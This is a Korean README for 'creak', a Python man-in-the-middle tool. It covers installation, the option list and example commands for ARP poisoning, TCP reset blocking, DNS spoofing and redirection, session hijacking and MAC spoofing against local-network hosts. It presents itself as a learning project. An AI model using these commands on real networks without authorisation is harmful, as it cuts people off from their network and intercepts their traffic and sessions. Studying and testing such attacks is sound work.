
포이즈닝, 리셋, 스푸핑, 리다이렉트 MITM 스크립트
로컬 네트워크에 있는 대상 주소에 대해 가장 잘 알려진 MITM 공격 중 일부를 수행합니다. 이 중에는 ARP 스푸핑 공격을 수행하고 라우터로 가는 모든 요청에 TCP 리셋 패킷을 전송하여 로컬 네트워크에 있는 대상 호스트의 탐색 및 다운로드 기능을 차단합니다. Python 언어 학습을 위한 교재 프로젝트로 탄생했으며, 이 코드의 악의적이거나 불법적인 사용을 포함한 모든 남용에 대한 책임을 지지 않습니다.
$ git clone https://github.com/codepr/creak.git
$ cd creak
$ python setup.py install
또는 저장소를 클론하고 모든 요구 사항이 설치된 후 creak.py를 실행하기만 하면 됩니다:
$ git clone https://github.com/codepr/creak.git
원시 패킷 조작을 위해 pcap 라이브러리를 설치해야 하며, DNS 스푸핑 옵션을 위해 libdnet 패키지의 dnet 모듈을 설치해야 합니다. pydnet(네트워크 평가 도구) 모듈과 혼동하지 마십시오. 원하는 경우 scapy를 사용할 수도 있으며, config 파일의 [output] > ENGINE 섹션에서 설정할 수 있습니다.
Usage: creak.py [options] dev
Options:
-h, --help show this help message and exit
-1, --sessions-scan Sessions scan mode
-2, --dns-spoof Dns spoofing
-3, --session-hijack Try to steal a TCP sessions by desynchronization (old technique)
-x, --spoof Spoof mode, generate a fake MAC address to be used
during attack
-m MACADDR Mac address octet prefix (could be an entire MAC
address in the form AA:BB:CC:DD:EE:FF)
-M MANUFACTURER Manufacturer of the wireless device, for retrieving a
manufactur based prefix for MAC spoof
-s SOURCE Source ip address (e.g. a class C address like
192.168.1.150) usually the router address
-t TARGET Target ip address (e.g. a class C address like
192.168.1.150), can be specified multiple times
-p PORT Target port to shutdown
-a HOST Target host that will be redirect while navigating on
target machine
-r REDIR Target redirection that will be fetched instead of host
on the target machine
-v, --verbose Verbose output mode
-d, --dotted Dotted output mode
가장 기본적인 사용법: 대상 호스트의 모든 트래픽 차단
$ python creak.py -t 192.168.1.30 wlan0
다른 게이트웨이 설정:
$ python creak.py -s 192.168.1.2 -t 192.168.1.30 wlan0
장치에 다른 MAC 주소 설정:
$ python creak.py -m 00:11:22:33:44:55 -t 192.168.1.30 wlan0
가짜 MAC 주소를 생성하여 스푸핑:
$ python creak.py -x -t 192.168.1.30 wlan0
제조업체(예: Xeros) 기반의 MAC 주소를 생성하여 스푸핑:
$ python creak.py -x -M xeros -t 192.168.1.30 wlan0
가짜 MAC 주소를 사용한 DNS 스푸핑, ab.xy를 cd.xz(예: localhost)로 리디렉션:
$ python creak.py -x -M xeros -t 192.168.1.30 -a www.ab.xy -r www.cd.xz wlan0
서브넷의 여러 호스트 차단:
$ python creak.py -x -t 192.168.1.30 -t 192.168.1.31 -t 192.168.1.32 wlan0
자세한 내용은 CHANGELOG 파일을 참조하세요.
Scapy 지원 완료 (시작됨)라이선스 권리 및 제한 사항(GNU v3)에 대한 자세한 내용은 LICENSE 파일을 참조하세요.